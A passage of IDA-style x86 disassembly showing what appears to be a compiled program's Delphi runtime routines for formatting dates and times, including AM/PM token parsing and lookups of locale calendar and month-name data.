		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40879E:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+119o
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081F4
		pop	ecx
		mov	[ebp+var_1F], 0
		mov	esi, [ebp+var_4]
		jmp	loc_40884F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4087B8:				; CODE XREF: sub_4084A8+3ABj
		and	eax, 0FFh
		bt	ds:dword_41C104, eax
		jnb	short loc_4087D3
		inc	esi
		cmp	byte ptr [esi],	0
		jz	loc_408859
		inc	esi
		jmp	short loc_40884F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4087D3:				; CODE XREF: sub_4084A8+31Cj
		xor	eax, eax
		mov	al, [esi]
		cmp	eax, 48h
		jg	short loc_4087EF
		jz	short loc_408859
		sub	eax, 22h
		jz	short loc_408846
		sub	eax, 5
		jz	short loc_408846
		sub	eax, 1Ah
		jz	short loc_4087FB
		jmp	short loc_40884E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4087EF:				; CODE XREF: sub_4084A8+332j
		sub	eax, 61h
		jz	short loc_4087FB
		sub	eax, 7
		jz	short loc_408859
		jmp	short loc_40884E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4087FB:				; CODE XREF: sub_4084A8+343j
					; sub_4084A8+34Aj
		cmp	[ebp+var_1F], 0
		jnz	short loc_40884E
		mov	edx, offset dword_408BF8
		mov	ecx, 5
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jz	short loc_408840
		mov	edx, offset dword_408C00
		mov	ecx, 3
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jz	short loc_408840
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_408859

loc_408840:				; CODE XREF: sub_4084A8+36Cj
					; sub_4084A8+381j
		mov	[ebp+var_1E], 1
		jmp	short loc_408859
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408846:				; CODE XREF: sub_4084A8+339j
					; sub_4084A8+33Ej
		mov	al, [ebp+var_1F]
		xor	al, 1
		mov	[ebp+var_1F], al

loc_40884E:				; CODE XREF: sub_4084A8+345j
					; sub_4084A8+351j ...
		inc	esi

loc_40884F:				; CODE XREF: sub_4084A8+30Bj
					; sub_4084A8+329j
		mov	al, [esi]
		test	al, al
		jnz	loc_4087B8

loc_408859:				; CODE XREF: sub_4084A8+322j
					; sub_4084A8+334j ...
		mov	ax, [ebp+var_16]
		cmp	[ebp+var_1E], 0
		jz	short loc_408878
		test	ax, ax
		jnz	short loc_40886E
		mov	ax, 0Ch
		jmp	short loc_408878
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40886E:				; CODE XREF: sub_4084A8+3BEj
		cmp	ax, 0Ch
		jbe	short loc_408878
		sub	ax, 0Ch

loc_408878:				; CODE XREF: sub_4084A8+3B9j
					; sub_4084A8+3C4j ...
		cmp	[ebp+var_C], 2
		jle	short loc_408885
		mov	[ebp+var_C], 2

loc_408885:				; CODE XREF: sub_4084A8+3D4j
		mov	edx, [ebp+arg_0]
		push	edx
		movzx	eax, ax
		mov	edx, [ebp+var_C]
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40889A:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+11Do
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081F4
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_4088B5
		mov	[ebp+var_C], 2

loc_4088B5:				; CODE XREF: sub_4084A8+404j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_18]
		mov	edx, [ebp+var_C]
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4088CB:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+121o
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081F4
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_4088E6
		mov	[ebp+var_C], 2

loc_4088E6:				; CODE XREF: sub_4084A8+435j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1A]
		mov	edx, [ebp+var_C]
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4088FC:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+125o
		push	ebp
		call	sub_408190
		pop	ecx
		cmp	[ebp+var_C], 1
		jnz	short loc_40891D
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E508
		call	sub_4084A8
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40891D:				; CODE XREF: sub_4084A8+45Fj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E50C
		call	sub_4084A8
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408931:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+129o
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081F4
		pop	ecx
		cmp	[ebp+var_C], 3
		jle	short loc_40894C
		mov	[ebp+var_C], 3

loc_40894C:				; CODE XREF: sub_4084A8+49Bj
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1C]
		mov	edx, [ebp+var_C]
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408962:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+12Do
		push	ebp
		call	sub_4081F4
		pop	ecx
		mov	esi, [ebp+var_4]
		dec	esi
		mov	edx, offset dword_408BF8
		mov	ecx, 5
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_4089AA
		cmp	[ebp+var_16], 0Ch
		jb	short loc_40898C
		add	esi, 3

loc_40898C:				; CODE XREF: sub_4084A8+4DFj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 2
		mov	eax, esi
		call	sub_4080E0
		pop	ecx
		add	[ebp+var_4], 4
		mov	[ebp+var_1E], 1
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4089AA:				; CODE XREF: sub_4084A8+4D8j
		mov	edx, offset dword_408C00
		mov	ecx, 3
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_4089E7
		cmp	[ebp+var_16], 0Ch
		jb	short loc_4089C9
		add	esi, 2

loc_4089C9:				; CODE XREF: sub_4084A8+51Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 1
		mov	eax, esi
		call	sub_4080E0
		pop	ecx
		add	[ebp+var_4], 2
		mov	[ebp+var_1E], 1
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4089E7:				; CODE XREF: sub_4084A8+515j
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_408A30
		cmp	[ebp+var_16], 0Ch
		jnb	short loc_408A14
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E500
		call	sub_408124
		pop	ecx
		jmp	short loc_408A23
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408A14:				; CODE XREF: sub_4084A8+559j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E504
		call	sub_408124
		pop	ecx

loc_408A23:				; CODE XREF: sub_4084A8+56Aj
		add	[ebp+var_4], 3
		mov	[ebp+var_1E], 1
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408A30:				; CODE XREF: sub_4084A8+552j
		mov	edx, offset aAaaa ; "AAAA"
		mov	ecx, 4
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_408A74
		push	ebp
		call	sub_4081BC
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		call	sub_408068
		mov	eax, ds:dword_41E588[eax*4]
		call	sub_408124
		pop	ecx
		add	[ebp+var_4], 3
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408A74:				; CODE XREF: sub_4084A8+59Bj
		mov	edx, offset off_408C14
		mov	ecx, 3
		mov	eax, esi
		call	sub_4075E0
		test	eax, eax
		jnz	short loc_408AB8
		push	ebp
		call	sub_4081BC
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		call	sub_408068
		mov	eax, ds:dword_41E56C[eax*4]
		call	sub_408124
		pop	ecx
		add	[ebp+var_4], 2
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408AB8:				; CODE XREF: sub_4084A8+5DFj
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_4080E0
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408ACF:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+131o
		push	ebp
		call	sub_408190
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E4F4
		call	sub_4084A8
		pop	ecx
		push	ebp
		call	sub_4081F4
		pop	ecx
		cmp	[ebp+var_16], 0
		jnz	short loc_408B05
		cmp	[ebp+var_18], 0
		jnz	short loc_408B05
		cmp	[ebp+var_1A], 0
		jz	loc_408BB8

loc_408B05:				; CODE XREF: sub_4084A8+649j
					; sub_4084A8+650j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset dword_408C18
		mov	edx, 1
		call	sub_4080E0
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E50C
		call	sub_4084A8
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408B2D:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+135o
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_41E4F1
		mov	edx, 1
		call	sub_4080E0
		pop	ecx
		jmp	short loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408B43:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+139o
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_41E4FC
		mov	edx, 1
		call	sub_4080E0
		pop	ecx
		jmp	short loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408B59:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+13Do
		mov	esi, [ebp+var_4]
		jmp	short loc_408B7A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408B5E:				; CODE XREF: sub_4084A8+6DEj
		and	eax, 0FFh
		bt	ds:dword_41C104, eax
		jnb	short loc_408B77
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0
		jz	short loc_408B88

loc_408B77:				; CODE XREF: sub_4084A8+6C2j
		inc	[ebp+var_4]

loc_408B7A:				; CODE XREF: sub_4084A8+6B4j
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		test	al, al
		jz	short loc_408B88
		cmp	al, [ebp+var_5]
		jnz	short loc_408B5E

loc_408B88:				; CODE XREF: sub_4084A8+6CDj
					; sub_4084A8+6D9j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, [ebp+var_4]
		sub	edx, esi
		mov	eax, esi
		call	sub_4080E0
		pop	ecx
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0
		jz	short loc_408BB8
		inc	[ebp+var_4]
		jmp	short loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408BA6:				; CODE XREF: sub_4084A8+B5j
					; sub_4084A8+C1j
					; DATA XREF: ...
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_4080E0
		pop	ecx

loc_408BB8:				; CODE XREF: sub_4084A8+52j
					; sub_4084A8+7Fj ...
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		test	al, al
		jnz	loc_4084FF

loc_408BC5:				; CODE XREF: sub_4084A8+74j
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax-108h]

loc_408BCE:				; CODE XREF: sub_4084A8+25j
					; sub_4084A8+35j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_408BF0

loc_408BDB:				; CODE XREF: CODE:00408BEEj
		lea	eax, [ebp+var_28]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_4084A8	endp ; sp = -38h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408BE9:				; DATA XREF: sub_4084A8+16o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_408BDB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408BF0:				; DATA XREF: sub_4084A8+72Eo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_408BF8	dd 502F4D41h, 4Dh	; DATA XREF: sub_4084A8+359o
					; sub_4084A8+4C5o
dword_408C00	dd 502F41h		; DATA XREF: sub_4084A8+36Eo
					; sub_4084A8+502o
aAmpm		db 'AMPM',0             ; DATA XREF: sub_4084A8+383o
					; sub_4084A8+53Fo
		align 4
aAaaa		db 'AAAA',0             ; DATA XREF: sub_4084A8+588o
		align 4
off_408C14	dd offset loc_414141	; DATA XREF: sub_4084A8+5CCo
dword_408C18	dd 20h			; DATA XREF: sub_4084A8+661o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408C1C	proc near		; CODE XREF: sub_408C78+Bp
					; sub_408C8C+Ap

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[ebp+var_104], eax
		xor	eax, eax
		mov	[ebp+var_108], eax
		test	ebx, ebx
		jz	short loc_408C4A
		push	ebp
		mov	eax, ebx
		call	sub_4084A8
		pop	ecx
		jmp	short loc_408C56
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408C4A:				; CODE XREF: sub_408C1C+21j
		push	ebp
		mov	eax, offset dword_408C74
		call	sub_4084A8
		pop	ecx

loc_408C56:				; CODE XREF: sub_408C1C+2Cj
		lea	edx, [ebp+var_100]
		mov	eax, esi
		mov	ecx, [ebp+var_104]
		call	sub_4035B0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_408C1C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_408C74	dd 43h			; DATA XREF: sub_408C1C+2Fo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408C78	proc near		; CODE XREF: start+7E6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		xor	edx, edx
		call	sub_408C1C
		pop	ebp
		retn	8
sub_408C78	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408C8C	proc near		; CODE XREF: sub_411110+67p
					; sub_411110+EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		xchg	eax, edx
		call	sub_408C1C
		pop	ebp
		retn	8
sub_408C8C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_408CA0	proc near		; CODE XREF: sub_40A398+31p

var_101		= byte ptr -101h
var_100		= byte ptr -100h

		push	ebx
		add	esp, 0FFFFFF00h
		mov	ebx, edx
		push	0
		push	100h
		lea	edx, [esp+108h+var_100]
		push	edx
		push	0
		push	eax
		push	0
		push	3000h
		call	j_FormatMessageA
		jmp	short loc_408CC7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408CC6:				; CODE XREF: sub_408CA0+32j
					; sub_408CA0+37j
		dec	eax

loc_408CC7:				; CODE XREF: sub_408CA0+24j
		test	eax, eax
		jle	short loc_408CD9
		mov	dl, [esp+eax+100h+var_101]
		sub	dl, 21h
		jb	short loc_408CC6
		sub	dl, 0Dh
		jz	short loc_408CC6

loc_408CD9:				; CODE XREF: sub_408CA0+29j
		mov	edx, esp
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_4035B0
		add	esp, 100h
		pop	ebx
		retn
sub_408CA0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408CEC	proc near		; CODE XREF: sub_408D60+1Cp
					; sub_408F74+27p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [ebp+arg_0]
		push	100h
		lea	ecx, [ebp+var_100]
		push	ecx
		push	edx
		push	eax
		call	j_GetLocaleInfoA_0
		test	eax, eax
		jle	short loc_408D25
		mov	ecx, eax
		dec	ecx
		lea	edx, [ebp+var_100]
		mov	eax, ebx
		call	sub_4035B0
		jmp	short loc_408D2E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408D25:				; CODE XREF: sub_408CEC+25j
		mov	eax, ebx
		mov	edx, esi
		call	sub_40351C

loc_408D2E:				; CODE XREF: sub_408CEC+37j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_408CEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_408D38	proc near		; CODE XREF: sub_40A020+ADp
					; sub_40A020+C0p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		push	2
		lea	eax, [esp+4]
		push	eax
		push	esi
		push	edi
		call	j_GetLocaleInfoA_0
		test	eax, eax
		jle	short loc_408D59
		mov	al, [esp+10h+var_10]
		jmp	short loc_408D5B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408D59:				; CODE XREF: sub_408D38+1Aj
		mov	eax, ebx

loc_408D5B:				; CODE XREF: sub_408D38+1Fj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_408D38	endp ; sp = -10h


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408D60	proc near		; CODE XREF: sub_408D9C+46p
					; sub_408D9C+69p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		xor	ecx, ecx
		mov	edx, esi
		call	sub_408CEC
		cmp	dword ptr [ebx], 0
		jnz	short loc_408D93
		mov	eax, [ebp+var_4]
		mov	eax, [eax+edi*4]
		mov	edx, ebx
		call	sub_404B80

loc_408D93:				; CODE XREF: sub_408D60+24j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_408D60	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408D9C	proc near		; CODE XREF: sub_40A020+23p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_408EAF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	j_GetThreadLocale_0
		mov	[ebp+var_4], eax
		mov	ebx, 1
		mov	esi, offset unk_41E510
		mov	edi, offset unk_41E540

loc_408DCF:				; CODE XREF: sub_408D9C+83j
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset off_41C160
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+44h]
		dec	eax
		call	sub_408D60
		pop	ecx
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40351C
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset off_41C190
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+38h]
		dec	eax
		call	sub_408D60
		pop	ecx
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_40351C
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 0Dh
		jnz	short loc_408DCF
		mov	ebx, 1
		mov	esi, offset unk_41E570
		mov	edi, offset unk_41E58C

loc_408E30:				; CODE XREF: sub_408D9C+F6j
		lea	eax, [ebx+5]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	[ebp+var_8], edx
		push	ebp
		push	6
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset off_41C1C0
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 31h
		call	sub_408D60
		pop	ecx
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40351C
		push	ebp
		push	6
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset off_41C1DC
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 2Ah
		call	sub_408D60
		pop	ecx
		mov	edx, [ebp+var_18]
		mov	eax, edi
		call	sub_40351C
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 8
		jnz	short loc_408E30
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_408EB6

loc_408EA1:				; CODE XREF: CODE:00408EB4j
		lea	eax, [ebp+var_18]
		mov	edx, 4
		call	sub_4034EC
		retn
sub_408D9C	endp ; sp = -2Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408EAF:				; DATA XREF: sub_408D9C+11o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_408EA1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408EB6:				; DATA XREF: sub_408D9C+100o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408EC0	proc near		; DATA XREF: sub_408F74+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_408ED4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408ECE:				; CODE XREF: sub_408EC0+1Cj
		cmp	ebx, 7
		jz	short loc_408EF2
		inc	ebx

loc_408ED4:				; CODE XREF: sub_408EC0+Cj
		cmp	ds:dword_41E5B0[ebx*4],	0
		jnz	short loc_408ECE
		lea	eax, dword_41E5B0[ebx*4]
		mov	edx, [ebp+arg_0]
		call	sub_403680
		mov	esi, 1

loc_408EF2:				; CODE XREF: sub_408EC0+11j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_408EC0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408EFC	proc near		; DATA XREF: sub_408F74+77o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_408F61
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_408F20
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408F1A:				; CODE XREF: sub_408EFC+2Cj
		cmp	ebx, 7
		jz	short loc_408F4B
		inc	ebx

loc_408F20:				; CODE XREF: sub_408EFC+1Cj
		cmp	ds:dword_41E5CC[ebx*4],	0FFFFFFFFh
		jnz	short loc_408F1A
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_403680
		mov	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_407058
		mov	ds:dword_41E5CC[ebx*4],	eax
		mov	esi, 1

loc_408F4B:				; CODE XREF: sub_408EFC+21j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_408F68

loc_408F58:				; CODE XREF: CODE:00408F66j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_408EFC	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408F61:				; DATA XREF: sub_408EFC+Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_408F58
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408F68:				; DATA XREF: sub_408EFC+57o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408F74	proc near		; CODE XREF: sub_40A020+31p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_40900B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		call	j_GetThreadLocale_0
		mov	ecx, offset dword_409020
		mov	edx, 100Bh
		call	sub_408CEC
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_407058
		mov	esi, eax
		mov	eax, esi
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jnb	short loc_408FF5
		push	4
		push	esi
		call	j_GetThreadLocale_0
		push	eax
		push	offset sub_408EC0
		call	j_EnumCalendarInfoA
		mov	edx, 7
		mov	eax, offset unk_41E5D0

loc_408FD6:				; CODE XREF: sub_408F74+6Cj
		mov	dword ptr [eax], 0FFFFFFFFh
		add	eax, 4
		dec	edx
		jnz	short loc_408FD6
		push	3
		push	esi
		call	j_GetThreadLocale_0
		push	eax
		push	offset sub_408EFC
		call	j_EnumCalendarInfoA

loc_408FF5:				; CODE XREF: sub_408F74+43j
		xor	eax, eax
